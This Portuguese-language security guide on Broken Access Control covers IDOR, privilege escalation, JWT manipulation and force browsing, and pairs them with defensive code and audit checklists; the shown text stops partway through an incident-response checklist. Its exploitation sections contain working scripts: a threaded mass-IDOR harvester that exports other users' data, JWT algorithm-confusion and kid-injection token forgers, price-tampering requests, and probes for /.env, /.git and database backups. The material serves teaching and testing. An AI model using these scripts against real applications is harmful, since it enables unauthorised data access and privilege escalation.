# Broken Access Control

## Conceitos Fundamentais

### O que é Broken Access Control

Broken Access Control ocorre quando restrições sobre quais ações os usuários podem realizar não são devidamente aplicadas, permitindo que atacantes acessem funcionalidades ou dados além de seus privilégios.

### Princípio de Funcionamento

```
Usuário Não Autorizado → Bypass de Controles → Acesso a Recursos Privilegiados
         ↓                       ↓                           ↓
 Usuário com permissões   Explora falhas na          Acesso a dados/funcionalidades
 limitadas                verificação de acesso      restritas
```

### Características da Vulnerabilidade

* **Explora falhas na autorização** (não autenticação)
* **Pode levar a escalação vertical/horizontal de privilégios**
* **Frequentemente resultado de lógica de negócio falha**
* **Difícil de detectar com testes automatizados**
* **Alto impacto em aplicações multi-usuário**

### Tipos de Broken Access Control

#### 1. Vertical Privilege Escalation

```json
{
  "exemplos": [
    "Usuário normal acessando funções administrativas",
    "Convidado acessando recursos de usuário autenticado",
    "User acessando funcionalidades de moderator/admin"
  ]
}
```

#### 2. Horizontal Privilege Escalation

```json
{
  "exemplos": [
    "Usuário A acessando dados do Usuário B",
    "Employee acessando dados de outro department",
    "Cliente acessando informações de outro cliente"
  ]
}
```

#### 3. Context-Based Privilege Escalation

```json
{
  "exemplos": [
    "Acesso a recursos em estado inválido (ex: draft vs published)",
    "Acesso baseado em localização geográfica",
    "Acesso baseado em horário comercial"
  ]
}
```

## Mecanismos de Ataque

### Fluxo de Ataque Completo

```mermaid
sequenceDiagram
    participant A as Atacante
    participant V as Aplicação Vulnerável
    participant DB as Banco de Dados

    Note over A,V: FASE 1: Reconhecimento
    A->>V: Mapeamento de endpoints e funcionalidades
    A->>V: Identificação de parâmetros de controle de acesso
    V->>A: Retorna estrutura da aplicação
    
    Note over A,V: FASE 2: Análise de Controles
    A->>V: Testa bypass de IDOR (ID manipulation)
    A->>V: Verifica falta de validação em APIs
    A->>V: Testa acesso direto a URLs privilegiadas
    
    Note over A,V: FASE 3: Exploração
    A->>V: Acessa recursos não autorizados
    V->>DB: Consulta dados sem validação adequada
    DB->>V: Retorna dados sensíveis
    V->>A: Entrega dados não autorizados
    
    Note over A,V: FASE 4: Persistência
    A->>V: Mantém acesso a funcionalidades privilegiadas
    A->>DB: Modifica/Exclui dados não autorizados
```

### Cenário 1: IDOR (Insecure Direct Object References)

```http
# Acesso não autorizado através de manipulação de IDs
GET /api/users/123/profile HTTP/1.1
Authorization: Bearer user_token_456
# Resposta: Acesso permitido mesmo sendo usuário diferente!

# Exploração - mudar ID para acessar outros usuários
GET /api/users/789/profile HTTP/1.1  # Usuário não autorizado
Authorization: Bearer user_token_456

# Ou através de parâmetros
GET /api/documents?user_id=789 HTTP/1.1
Authorization: Bearer user_token_456
```

### Cenário 2: Bypass de Controle de Acesso em APIs

```javascript
// Frontend parece ter controle, mas backend não valida
// FRONTEND - parece seguro
if (user.role !== 'admin') {
    hideElement('#adminPanel');
} else {
    showElement('#adminPanel');
}

// BACKEND - vulnerável
app.get('/api/admin/users', (req, res) => {
    // FALTA: Verificar se usuário é admin!
    const users = db.getAllUsers();
    res.json(users);
});

// Exploração - acesso direto à API
fetch('/api/admin/users', {
    headers: { 'Authorization': 'Bearer user_token' }
})
.then(response => response.json())
.then(users => {
    console.log('Acesso a todos os usuários!', users);
});
```

### Cenário 3: Parameter Tampering

```http
POST /api/order/create HTTP/1.1
Content-Type: application/json
Authorization: Bearer user_token

{
  "product_id": "prod_123",
  "quantity": 1,
  "price": 99.99,  # Modificável pelo cliente!
  "user_id": "user_456",
  "discount": 0.5  # Desconto não autorizado
}

# Resposta: Pedido criado com preço e desconto modificados!
```

### Cenário 4: Force Browsing

```bash
# Acesso direto a URLs privilegiadas sem verificação
# Usuário normal acessando:
/admin
/admin/users
/admin/settings
/api/v1/admin/export
/config/security

# Ou arquivos sensíveis
/backup/database.sql
/.env
/config/passwords.txt
```

### Cenário 5: Method-Based Access Control Bypass

```http
# GET pode ser bloqueado, mas outros métodos não
GET /api/admin/users → 403 Forbidden
POST /api/admin/users → 201 Created!  # Vulnerável

# Ou usando métodos alternativos
PUT /api/admin/users/123
PATCH /api/admin/users/123
DELETE /api/admin/users/123
```

### Cenário 6: JWT Token Manipulation

```javascript
// Token JWT modificado
const vulnerableToken = {
  header: {
    "alg": "HS256",
    "typ": "JWT"
  },
  payload: {
    "user_id": "123",
    "username": "attacker",
    "role": "user",  // Modificado para "admin"
    "exp": 1672531200
  },
  signature: "..."  // Assinatura pode ser bypassed se fraco
};

// Exploração - modificar role no token
const modifiedToken = {
  ...vulnerableToken,
  payload: {
    ...vulnerableToken.payload,
    role: "admin"  // Escalação de privilégio
  }
};
```

## Identificação e Detecção

### Indicadores de Vulnerabilidade

```bash
# Pontos críticos para teste
- Parâmetros que referenciam objetos (id, user_id, document_id)
- URLs com padrões numéricos sequenciais
- Ausência de verificações de autorização no backend
- Controles apenas no frontend
- Tokens JWT com roles modificáveis
- APIs que retornam mais dados que o necessário
```

### Metodologia de Teste Manual

{% stepper %}
{% step %}

### Mapeamento de Funcionalidades por Role

```python
# Script para mapear endpoints por nível de acesso
def map_endpoints_by_role(base_url, roles_tokens):
    endpoints_access = {}
    
    common_endpoints = [
        '/api/users', '/api/admin', '/api/settings',
        '/api/documents', '/api/reports', '/api/config'
    ]
    
    for endpoint in common_endpoints:
        endpoints_access[endpoint] = {}
        
        for role, token in roles_tokens.items():
            response = requests.get(
                f"{base_url}{endpoint}",
                headers={'Authorization': f'Bearer {token}'}
            )
            
            endpoints_access[endpoint][role] = {
                'status': response.status_code,
                'accessible': response.status_code == 200
            }
    
    return endpoints_access

# Uso
roles_tokens = {
    'user': 'user_token_123',
    'admin': 'admin_token_456',
    'moderator': 'mod_token_789'
}

access_map = map_endpoints_by_role('https://alvo.com', roles_tokens)
```

{% endstep %}

{% step %}

### Teste de IDOR Sistemático

```python
class IDORTester:
    def __init__(self, target_url, auth_tokens):
        self.target = target_url
        self.tokens = auth_tokens
        self.vulnerabilities = []
    
    def test_object_references(self, endpoint_pattern, id_range=(1, 100)):
        """Testar referências diretas a objetos"""
        
        for obj_id in range(id_range[0], id_range[1] + 1):
            endpoint = endpoint_pattern.format(id=obj_id)
            
            for user_type, token in self.tokens.items():
                response = requests.get(
                    f"{self.target}{endpoint}",
                    headers={'Authorization': f'Bearer {token}'}
                )
                
                if response.status_code == 200:
                    # Verificar se dados pertencem ao usuário
                    data = response.json()
                    if self.is_unauthorized_access(data, user_type, obj_id):
                        self.vulnerabilities.append({
                            'type': 'IDOR',
                            'endpoint': endpoint,
                            'user_type': user_type,
                            'object_id': obj_id,
                            'data_exposed': data
                        })
    
    def is_unauthorized_access(self, data, user_type, requested_id):
        """Verificar se acesso é não autorizado"""
        # Lógica para detectar se dados não pertencem ao usuário
        if 'user_id' in data and data['user_id'] != requested_id:
            return True
        if 'owner' in data and data['owner'] != user_type:
            return True
        return False
    
    def test_parameter_tampering(self, endpoints_with_params):
        """Testar manipulação de parâmetros"""
        
        for endpoint, params in endpoints_with_params.items():
            for user_type, token in self.tokens.items():
                # Testar cada parâmetro modificável
                for param_name, original_value in params.items():
                    tampered_value = self.generate_tampered_value(original_value)
                    
                    modified_params = {**params, param_name: tampered_value}
                    
                    response = requests.post(
                        f"{self.target}{endpoint}",
                        headers={'Authorization': f'Bearer {token}'},
                        json=modified_params
                    )
                    
                    if response.status_code == 200:
                        self.vulnerabilities.append({
                            'type': 'Parameter_Tampering',
                            'endpoint': endpoint,
                            'parameter': param_name,
                            'user_type': user_type,
                            'original_value': original_value,
                            'tampered_value': tampered_value
                        })
```

{% endstep %}

{% step %}

### Teste de Force Browsing

```bash
#!/bin/bash
# Script para force browsing

TARGET="https://alvo.com"
TOKEN="user_token_123"

# Lista de diretórios sensíveis para testar
SENSITIVE_PATHS=(
    "/admin"
    "/administrator"
    "/api/admin"
    "/config"
    "/backup"
    "/.git"
    "/.env"
    "/phpinfo.php"
    "/server-status"
    "/debug"
)

for path in "${SENSITIVE_PATHS[@]}"; do
    response=$(curl -s -o /dev/null -w "%{http_code}" \
        -H "Authorization: Bearer $TOKEN" \
        "$TARGET$path")
    
    if [ "$response" != "404" ] && [ "$response" != "403" ]; then
        echo "⚠️  Acesso possível: $path (HTTP $response)"
    fi
done
```

{% endstep %}
{% endstepper %}

### Técnicas de Fingerprinting

#### 1. Análise de Tokens JWT

```javascript
// Analisar tokens JWT para vulnerabilidades
function analyzeJWT(token) {
    try {
        const parts = token.split('.');
        const header = JSON.parse(atob(parts[0]));
        const payload = JSON.parse(atob(parts[1]));
        
        console.log('JWT Analysis:');
        console.log('- Algorithm:', header.alg);
        console.log('- Payload:', payload);
        
        // Verificar vulnerabilidades comuns
        const vulnerabilities = [];
        
        if (header.alg === 'none') {
            vulnerabilities.push('Algorithm none vulnerability');
        }
        
        if (payload.role && typeof payload.role === 'string') {
            vulnerabilities.push('Role-based access - test for modification');
        }
        
        if (!payload.exp) {
            vulnerabilities.push('No expiration time');
        }
        
        return vulnerabilities;
        
    } catch (e) {
        console.error('Invalid JWT:', e);
        return ['Invalid JWT format'];
    }
}
```

#### 2. Detecção de Controles Apenas no Frontend

```javascript
// Verificar se controles existem apenas no frontend
function checkFrontendOnlyControls() {
    const indicators = [];
    
    // Verificar elementos ocultos via CSS
    const hiddenAdminElements = document.querySelectorAll('[style*="display: none"], [style*="visibility: hidden"]');
    hiddenAdminElements.forEach(el => {
        if (el.innerHTML.includes('admin') || el.id.includes('admin')) {
            indicators.push('Hidden admin element: ' + el.id);
        }
    });
    
    // Verificar eventos de clique que mostram elementos admin
    const allElements = document.querySelectorAll('*');
    allElements.forEach(el => {
        const onclick = el.getAttribute('onclick');
        if (onclick && onclick.includes('admin')) {
            indicators.push('Admin functionality in onclick: ' + onclick);
        }
    });
    
    // Verificar APIs chamadas sem verificação
    const scripts = document.querySelectorAll('script');
    scripts.forEach(script => {
        if (script.innerHTML) {
            const apiCalls = script.innerHTML.match(/fetch\(['"`](.*?admin.*?)['"`]\)/g);
            if (apiCalls) {
                indicators.push('Admin API calls in script: ' + apiCalls.join(', '));
            }
        }
    });
    
    return indicators;
}
```

## Exploração e Impacto

### Técnicas de Exploração Avançadas

#### 1. Mass IDOR Exploitation

```python
import concurrent.futures
import requests

class MassIDORExploiter:
    def __init__(self, base_url, auth_token):
        self.base_url = base_url
        self.auth_token = auth_token
        self.found_data = []
    
    def exploit_user_range(self, endpoint_pattern, start_id, end_id):
        """Explorar range de IDs de usuário"""
        
        def check_user(user_id):
            url = f"{self.base_url}{endpoint_pattern.format(id=user_id)}"
            response = requests.get(
                url,
                headers={'Authorization': f'Bearer {self.auth_token}'}
            )
            
            if response.status_code == 200:
                user_data = response.json()
                self.found_data.append({
                    'user_id': user_id,
                    'data': user_data
                })
                return True
            return False
        
        # Exploração em massa com threads
        with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
            futures = {
                executor.submit(check_user, user_id): user_id 
                for user_id in range(start_id, end_id + 1)
            }
            
            for future in concurrent.futures.as_completed(futures):
                if future.result():
                    user_id = futures[future]
                    print(f"✅ Dados encontrados para usuário {user_id}")
    
    def export_data(self, filename):
        """Exportar dados encontrados"""
        import json
        with open(filename, 'w') as f:
            json.dump(self.found_data, f, indent=2)
        print(f"📁 Dados exportados para {filename}")

# Uso
exploiter = MassIDORExploiter('https://alvo.com', 'user_token_123')
exploiter.exploit_user_range('/api/users/{id}/profile', 1, 1000)
exploiter.export_data('idor_data.json')
```

#### 2. JWT Attacks Avançados

```python
import jwt
import requests

class JWTAttacker:
    def __init__(self, target_url):
        self.target = target_url
    
    def algorithm_confusion_attack(self, original_token):
        """Algorithm confusion attack (RS256 to HS256)"""
        
        # Obter chave pública do servidor
        public_key = self.get_public_key()
        
        # Decodificar token original
        decoded = jwt.decode(original_token, options={"verify_signature": False})
        
        # Modificar payload para escalar privilégios
        decoded['role'] = 'admin'
        decoded['is_admin'] = True
        
        # Criar novo token com HS256 usando public key como secret
        forged_token = jwt.encode(
            decoded, 
            public_key, 
            algorithm='HS256'
        )
        
        return forged_token
    
    def kid_injection_attack(self, original_token):
        """KID parameter injection attack"""
        
        decoded_header = jwt.get_unverified_header(original_token)
        
        # Inject malicious KID
        malicious_header = {
            **decoded_header,
            "kid": "../../../../dev/null"  # ou outro arquivo conhecido
        }
        
        decoded_payload = jwt.decode(original_token, options={"verify_signature": False})
        decoded_payload['role'] = 'admin'
        
        # Tentar assinar com secret vazio
        try:
            forged_token = jwt.encode(
                decoded_payload,
                "",
                algorithm=decoded_header['alg'],
                headers=malicious_header
            )
            return forged_token
        except Exception as e:
            print(f"KID injection failed: {e}")
            return None
    
    def test_forged_token(self, forged_token, endpoint):
        """Testar token forjado"""
        response = requests.get(
            f"{self.target}{endpoint}",
            headers={'Authorization': f'Bearer {forged_token}'}
        )
        return response.status_code == 200
```

#### 3. Business Logic Bypass

```http
# Bypass de fluxos de negócio - exemplo: checkout
POST /api/order/checkout HTTP/1.1
Content-Type: application/json

{
  "items": [
    {
      "product_id": "premium_product",
      "price": 0,  # Modificar preço
      "quantity": 1
    }
  ],
  "payment_method": "free",  # Método de pagamento inexistente
  "coupon": "100%OFF",       # Cupom não válido
  "skip_payment": true       # Parâmetro não documentado
}

# Ou bypass de verificação de estoque
POST /api/cart/add HTTP/1.1
{
  "product_id": "limited_item",
  "quantity": 9999  # Quantidade acima do limite
}
```

### Impacto das Vulnerabilidades

#### Classificação de Impacto

```json
{
  "impacto_critico": {
    "full_system_compromise": [
      "Acesso administrativo completo",
      "Controle total da aplicação",
      "Capacidade de excluir/modificar todos os dados"
    ],
    "data_breach": [
      "Exposição de todos os dados de usuários",
      "Acesso a informações sensíveis",
      "Vazamento de dados pessoais (PII)"
    ]
  },
  "impacto_alto": {
    "privilege_escalation": [
      "Usuário normal → Administrador",
      "Acesso a funcionalidades premium gratuitamente",
      "Bypass de sistemas de pagamento"
    ],
    "data_manipulation": [
      "Modificação de dados de outros usuários",
      "Alteração de configurações do sistema",
      "Manipulação de transações financeiras"
    ]
  },
  "impacto_medio": {
    "information_disclosure": [
      "Acesso a informações comerciais sensíveis",
      "Vazamento de dados internos",
      "Exposição de estrutura da aplicação"
    ],
    "business_logic_bypass": [
      "Bypass de limites de uso",
      "Acesso a recursos premium",
      "Evitar restrições comerciais"
    ]
  }
}
```

#### Cadeia de Ataque Completa

```
Reconhecimento → Bypass de Autenticação → Acesso Não Autorizado → Exploração → Persistência
```

## Mitigação e Correção

### Estratégias de Defesa em Camadas

#### 1. Princípio do Menor Privilégio

```python
# Implementação de RBAC (Role-Based Access Control)
from functools import wraps

class RBAC:
    def __init__(self):
        self.roles_permissions = {
            'user': ['read_own_profile', 'update_own_profile'],
            'moderator': ['read_all_profiles', 'manage_content'],
            'admin': ['all']
        }
    
    def require_permission(self, permission):
        def decorator(f):
            @wraps(f)
            def decorated_function(*args, **kwargs):
                user_role = get_current_user_role()
                
                if permission not in self.roles_permissions.get(user_role, []):
                    if 'all' not in self.roles_permissions.get(user_role, []):
                        return {'error': 'Acesso negado'}, 403
                
                return f(*args, **kwargs)
            return decorated_function
        return decorator

# Uso
rbac = RBAC()

@app.route('/api/admin/users')
@rbac.require_permission('manage_users')
def get_all_users():
    users = User.query.all()
    return jsonify([user.to_dict() for user in users])

@app.route('/api/users/<user_id>')
@rbac.require_permission('read_own_profile')
def get_user(user_id):
    current_user_id = get_current_user_id()
    
    # Verificar se usuário acessa apenas seus próprios dados
    if user_id != current_user_id and not has_permission('read_all_profiles'):
        return {'error': 'Acesso negado'}, 403
    
    user = User.query.get(user_id)
    return jsonify(user.to_dict())
```

#### 2. Validação de Autorização em Todas as Camadas

```python
# Middleware de autorização global
def authorization_middleware():
    def middleware(request):
        # Verificar autorização para cada request
        user_id = get_user_id_from_token(request)
        requested_path = request.path
        method = request.method
        
        if not is_authorized(user_id, requested_path, method):
            return jsonify({'error': 'Acesso não autorizado'}), 403
        
        return None  # Continuar processamento
    return middleware

# Serviço de autorização centralizado
class AuthorizationService:
    def __init__(self):
        self.access_rules = self.load_access_rules()
    
    def load_access_rules(self):
        return {
            '/api/users/.*': {
                'GET': ['user', 'admin', 'moderator'],
                'POST': ['admin'],
                'PUT': ['user', 'admin'],
                'DELETE': ['admin']
            },
            '/api/admin/.*': {
                'GET': ['admin'],
                'POST': ['admin'],
                'PUT': ['admin'],
                'DELETE': ['admin']
            }
        }
    
    def is_authorized(self, user_role, path, method):
        for pattern, methods in self.access_rules.items():
            if re.match(pattern, path):
                allowed_roles = methods.get(method, [])
                return user_role in allowed_roles
        return False  # Negar por padrão
```

#### 3. UUIDs em Vez de IDs Sequenciais

```python
import uuid
from sqlalchemy import Column, String, Integer
from sqlalchemy.ext.declarative import declarative_base

Base = declarative_base()

class SecureUserModel(Base):
    __tablename__ = 'users'
    
    # Usar UUID em vez de ID sequencial
    id = Column(String(36), primary_key=True, default=lambda: str(uuid.uuid4()))
    username = Column(String(80), unique=True, nullable=False)
    email = Column(String(120), unique=True, nullable=False)
    
    def to_dict(self):
        return {
            'id': self.id,  # UUID não sequencial
            'username': self.username,
            'email': self.email
        }

# No controller
@app.route('/api/users/<user_uuid>')
def get_user(user_uuid):
    current_user = get_current_user()
    
    # Verificar se UUID pertence ao usuário atual
    if user_uuid != current_user.id and not current_user.is_admin:
        return {'error': 'Acesso negado'}, 403
    
    user = User.query.filter_by(id=user_uuid).first()
    if not user:
        return {'error': 'Usuário não encontrado'}, 404
    
    return jsonify(user.to_dict())
```

### Padrões de Codificação Seguros

#### 1. Access Control Matrix

```python
# Matriz de controle de acesso centralizada
class AccessControlMatrix:
    def __init__(self):
        self.matrix = {
            'user': {
                'resources': {
                    'own_profile': ['read', 'update'],
                    'own_documents': ['create', 'read', 'update', 'delete'],
                    'public_content': ['read']
                },
                'apis': {
                    '/api/users/{self}': ['GET', 'PUT'],
                    '/api/documents': ['GET', 'POST'],
                    '/api/documents/{self}': ['GET', 'PUT', 'DELETE']
                }
            },
            'admin': {
                'resources': {
                    '*': ['*']
                },
                'apis': {
                    '.*': ['*']
                }
            }
        }
    
    def check_access(self, user_role, resource_type, action, resource_owner=None):
        user_permissions = self.matrix.get(user_role, {})
        
        # Verificar permissões globais
        if '*' in user_permissions.get('resources', {}):
            return True
        
        # Verificar permissões específicas
        resource_permissions = user_permissions.get('resources', {}).get(resource_type, [])
        
        if action in resource_permissions or '*' in resource_permissions:
            # Verificar propriedade se aplicável
            if resource_owner and not self.is_owner(user_role, resource_owner):
                return False
            return True
        
        return False
    
    def is_owner(self, user_role, resource_owner):
        # Lógica para verificar se usuário é dono do recurso
        current_user = get_current_user()
        return current_user.id == resource_owner or user_role == 'admin'
```

#### 2. Validação de Propriedade

```python
# Middleware para validação de propriedade
def ownership_required(model_class, id_param='id', owner_field='user_id'):
    def decorator(f):
        @wraps(f)
        def decorated_function(*args, **kwargs):
            object_id = kwargs.get(id_param)
            current_user_id = get_current_user_id()
            
            # Buscar objeto
            obj = model_class.query.get(object_id)
            if not obj:
                return {'error': 'Recurso não encontrado'}, 404
            
            # Verificar propriedade
            obj_owner_id = getattr(obj, owner_field)
            if obj_owner_id != current_user_id and not current_user_is_admin():
                return {'error': 'Acesso negado - não é proprietário'}, 403
            
            # Adicionar objeto ao contexto
            kwargs['authorized_object'] = obj
            return f(*args, **kwargs)
        return decorated_function
    return decorator

# Uso
@app.route('/api/documents/<document_id>', methods=['GET'])
@ownership_required(Document, 'document_id', 'owner_id')
def get_document(document_id, authorized_object):
    # authorized_object já foi validado
    return jsonify(authorized_object.to_dict())
```

#### 3. Rate Limiting e Monitoring

```python
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

limiter = Limiter(
    app,
    key_func=get_remote_address,
    default_limits=["200 per day", "50 per hour"]
)

# Rate limiting específico para endpoints sensíveis
@app.route('/api/users/<user_id>')
@limiter.limit("10 per minute")
def get_user(user_id):
    # Lógica do endpoint
    pass

# Monitoring de tentativas de acesso não autorizado
def log_unauthorized_access(user_id, attempted_resource, reason):
    logger.warning(f"Tentativa de acesso não autorizado - "
                  f"User: {user_id}, Resource: {attempted_resource}, "
                  f"Reason: {reason}")
    
    # Alertar para múltiplas tentativas
    if get_failed_attempts(user_id) > 5:
        alert_security_team(user_id, attempted_resource)
```

### Configurações de Segurança

#### 1. Configuração CORS Segura

```python
from flask_cors import CORS

# Configuração CORS restritiva
CORS(app, resources={
    r"/api/*": {
        "origins": ["https://meudominio.com"],
        "methods": ["GET", "POST"],
        "allow_headers": ["Authorization", "Content-Type"]
    }
})

# Ou desabilitar CORS para APIs internas
CORS(app, resources={
    r"/api/admin/*": {
        "origins": []  # Sem CORS para admin APIs
    }
})
```

#### 2. Headers de Segurança HTTP

```python
@app.after_request
def set_security_headers(response):
    # Headers para prevenir certos ataques
    response.headers['X-Frame-Options'] = 'DENY'
    response.headers['X-Content-Type-Options'] = 'nosniff'
    response.headers['X-XSS-Protection'] = '1; mode=block'
    response.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains'
    
    # Content Security Policy
    response.headers['Content-Security-Policy'] = "default-src 'self'"
    
    return response
```

## Ferramentas e Testes

### Ferramentas de Análise Automatizada

#### 1. Scanner de Access Control Personalizado

```python
#!/usr/bin/env python3
# access_control_scanner.py

import requests
import json
from urllib.parse import urljoin

class AccessControlScanner:
    def __init__(self, target_url, low_priv_token, high_priv_token=None):
        self.target = target_url
        self.low_priv_token = low_priv_token
        self.high_priv_token = high_priv_token
        self.vulnerabilities = []
    
    def test_vertical_escalation(self, admin_endpoints):
        """Testar escalação vertical de privilégios"""
        
        for endpoint in admin_endpoints:
            response = requests.get(
                urljoin(self.target, endpoint),
                headers={'Authorization': f'Bearer {self.low_priv_token}'}
            )
            
            if response.status_code == 200:
                print(f"⚠️  Vulnerabilidade: Acesso admin com token user - {endpoint}")
                self.vulnerabilities.append({
                    'type': 'Vertical_Privilege_Escalation',
                    'endpoint': endpoint,
                    'user_role': 'low_privilege',
                    'status_code': response.status_code
                })
    
    def test_horizontal_escalation(self, user_specific_endpoints):
        """Testar escalação horizontal de privilégios"""
        
        for endpoint_pattern in user_specific_endpoints:
            # Testar acesso a recursos de outros usuários
            for other_user_id in [1, 2, 999, 1000]:  # IDs de teste
                endpoint = endpoint_pattern.format(user_id=other_user_id)
                
                response = requests.get(
                    urljoin(self.target, endpoint),
                    headers={'Authorization': f'Bearer {self.low_priv_token}'}
                )
                
                if response.status_code == 200:
                    # Verificar se dados são de outro usuário
                    try:
                        data = response.json()
                        if self.is_other_user_data(data, other_user_id):
                            print(f"⚠️  IDOR: Acesso a dados do usuário {other_user_id}")
                            self.vulnerabilities.append({
                                'type': 'Horizontal_Privilege_Escalation',
                                'endpoint': endpoint,
                                'accessed_user_id': other_user_id,
                                'attacker_token': 'low_privilege'
                            })
                    except json.JSONDecodeError:
                        pass
    
    def test_force_browsing(self, sensitive_paths):
        """Testar force browsing em paths sensíveis"""
        
        for path in sensitive_paths:
            response = requests.get(
                urljoin(self.target, path),
                headers={'Authorization': f'Bearer {self.low_priv_token}'}
            )
            
            if response.status_code not in [403, 404, 401]:
                print(f"⚠️  Force Browsing: {path} - HTTP {response.status_code}")
                self.vulnerabilities.append({
                    'type': 'Force_Browsing',
                    'path': path,
                    'status_code': response.status_code
                })
    
    def is_other_user_data(self, data, requested_user_id):
        """Verificar se dados pertencem a outro usuário"""
        if isinstance(data, dict):
            if 'id' in data and data['id'] != requested_user_id:
                return True
            if 'user_id' in data and data['user_id'] != requested_user_id:
                return True
        return False
    
    def generate_report(self):
        """Gerar relatório de vulnerabilidades"""
        return {
            'target': self.target,
            'vulnerabilities_found': len(self.vulnerabilities),
            'details': self.vulnerabilities,
            'recommendations': [
                "Implementar verificação de autorização em todos os endpoints",
                "Usar UUIDs não sequenciais em vez de IDs numéricos",
                "Validar propriedade de recursos antes de permitir acesso",
                "Implementar RBAC (Role-Based Access Control)",
                "Logar e monitorar tentativas de acesso não autorizado"
            ]
        }

# Uso do scanner
if __name__ == "__main__":
    scanner = AccessControlScanner(
        'https://alvo.com',
        'user_token_low_priv'
    )
    
    # Endpoints para testar
    admin_endpoints = [
        '/api/admin/users',
        '/api/admin/settings',
        '/api/admin/reports'
    ]
    
    user_endpoints = [
        '/api/users/{user_id}/profile',
        '/api/users/{user_id}/documents',
        '/api/users/{user_id}/settings'
    ]
    
    sensitive_paths = [
        '/admin', '/backup', '/.env', '/config',
        '/phpinfo.php', '/.git', '/database.sql'
    ]
    
    scanner.test_vertical_escalation(admin_endpoints)
    scanner.test_horizontal_escalation(user_endpoints)
    scanner.test_force_browsing(sensitive_paths)
    
    report = scanner.generate_report()
    print(json.dumps(report, indent=2))
```

#### 2. Ferramentas Especializadas

```bash
# Burp Suite Extensions
# - Autorize (Access Control Testing)
# - BChecks for Access Control
# - JSON Web Tokens Attacker

# OWASP ZAP
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' https://alvo.com

# Custom scripts
python jwt_tool.py <JWT Token>
python idor_detector.py -u https://alvo.com -t token

# Nuclei Templates
nuclei -u https://alvo.com -t /path/to/access-control-templates
```

### Testes Manuais com Ferramentas de Desenvolvimento

#### 1. Análise de Tokens e Sessões

```javascript
// Analisar tokens de autenticação no navegador
function analyzeAuthTokens() {
    // Verificar localStorage
    const tokens = {};
    for (let i = 0; i < localStorage.length; i++) {
        const key = localStorage.key(i);
        if (key.includes('token') || key.includes('auth') || key.includes('session')) {
            tokens[key] = localStorage.getItem(key);
        }
    }
    
    // Verificar sessionStorage
    for (let i = 0; i < sessionStorage.length; i++) {
        const key = sessionStorage.key(i);
        if (key.includes('token') || key.includes('auth') || key.includes('session')) {
            tokens[key] = sessionStorage.getItem(key);
        }
    }
    
    // Verificar cookies
    document.cookie.split(';').forEach(cookie => {
        const [name, value] = cookie.split('=');
        if (name.includes('token') || name.includes('auth') || name.includes('session')) {
            tokens[name.trim()] = value;
        }
    });
    
    console.log('Tokens encontrados:', tokens);
    
    // Analisar JWT se encontrado
    for (const [key, value] of Object.entries(tokens)) {
        if (value.split('.').length === 3) {
            console.log(`Analisando JWT ${key}:`);
            try {
                const payload = JSON.parse(atob(value.split('.')[1]));
                console.log('Payload:', payload);
                
                // Verificar campos modificáveis
                if (payload.role) {
                    console.log(`⚠️  Campo 'role' encontrado: ${payload.role}`);
                }
                if (payload.isAdmin) {
                    console.log(`⚠️  Campo 'isAdmin' encontrado: ${payload.isAdmin}`);
                }
            } catch (e) {
                console.log('Não é um JWT válido');
            }
        }
    }
}

// Executar análise
analyzeAuthTokens();
```

#### 2. Teste de Controles no Client-Side

```javascript
// Verificar se controles existem apenas no frontend
function testClientSideControls() {
    const vulnerabilities = [];
    
    // 1. Verificar elementos ocultos
    const hiddenElements = document.querySelectorAll('[style*="display: none"], [style*="visibility: hidden"], .d-none, .hidden');
    hiddenElements.forEach(el => {
        if (el.innerHTML.match(/admin|management|settings|config/i)) {
            vulnerabilities.push(`Elemento admin oculto: ${el.outerHTML.substring(0, 100)}`);
        }
    });
    
    // 2. Verificar event listeners em elementos desabilitados
    const disabledElements = document.querySelectorAll('[disabled], .disabled');
    disabledElements.forEach(el => {
        const listeners = getEventListeners(el);
        if (Object.keys(listeners).length > 0) {
            vulnerabilities.push(`Elemento desabilitado com listeners: ${el.outerHTML.substring(0, 100)}`);
        }
    });
    
    // 3. Verificar APIs chamadas condicionalmente
    const scripts = document.querySelectorAll('script');
    scripts.forEach(script => {
        if (script.textContent) {
            const conditionalAPIs = script.textContent.match(/if\s*\(.*?\)\s*\{[^}]*fetch[^}]*\}/gi);
            if (conditionalAPIs) {
                vulnerabilities.push(`APIs condicionais no client: ${conditionalAPIs.join(', ')}`);
            }
        }
    });
    
    return vulnerabilities;
}
```

## Checklists de Segurança

### Checklist de Prevenção de Broken Access Control

* [ ] **Autorização Baseada em Roles (RBAC)**
  * [ ] Implementar matriz de controle de acesso centralizada
  * [ ] Validar permissões em todas as camadas (frontend, backend, database)
  * [ ] Seguir princípio do menor privilégio
  * [ ] Implementar verificação de propriedade para recursos
* [ ] **Proteção Contra IDOR**
  * [ ] Usar UUIDs não sequenciais em vez de IDs numéricos
  * [ ] Validar propriedade antes de permitir acesso a recursos
  * [ ] Implementar acesso baseado em contexto
  * [ ] Usar referências indiretas (ex: tokens de acesso)
* [ ] **Validação de Entrada e Autorização**
  * [ ] Validar e sanitizar todos os parâmetros de entrada
  * [ ] Implementar rate limiting para endpoints sensíveis
  * [ ] Validar métodos HTTP permitidos por recurso
  * [ ] Verificar CORS e origens permitidas
* [ ] **Monitoramento e Logging**
  * [ ] Logar todas as tentativas de acesso não autorizado
  * [ ] Monitorar padrões de acesso anormais
  * [ ] Implementar alertas para múltiplas falhas de autorização
  * [ ] Manter auditoria de acesso a recursos sensíveis

### Checklist de Auditoria

* [ ] **Teste de Escalação de Privilégios**
  * [ ] Testar acesso a funcionalidades admin com usuário normal
  * [ ] Verificar bypass de controles no frontend
  * [ ] Testar manipulação de parâmetros (price, quantity, limits)
  * [ ] Verificar acesso a APIs administrativas
* [ ] **Teste de IDOR e Acesso Horizontal**
  * [ ] Testar acesso a recursos de outros usuários
  * [ ] Verificar sequencialidade de IDs
  * [ ] Testar UUIDs previsíveis
  * [ ] Verificar vazamento de informações através de erros
* [ ] **Teste de Force Browsing**
  * [ ] Testar acesso direto a URLs privilegiadas
  * [ ] Verificar proteção de arquivos sensíveis
  * [ ] Testar diretórios administrativos
  * [ ] Verificar endpoints de API não documentados

### Checklist de Resposta a Incidentes

* [ ] **Detecção**
  * [ ] Monitorar logs por padrões de acesso não autorizado
  * [ ] Alertar para múltiplas falhas de autorização
  * [ ] Detectar acesso a recursos fora do horário comercial
  * [ ] Monitorar modificações em dados sensíveis
* [ ] **Contenção**
  * [ ] Revogar tokens/sessões comprometidos
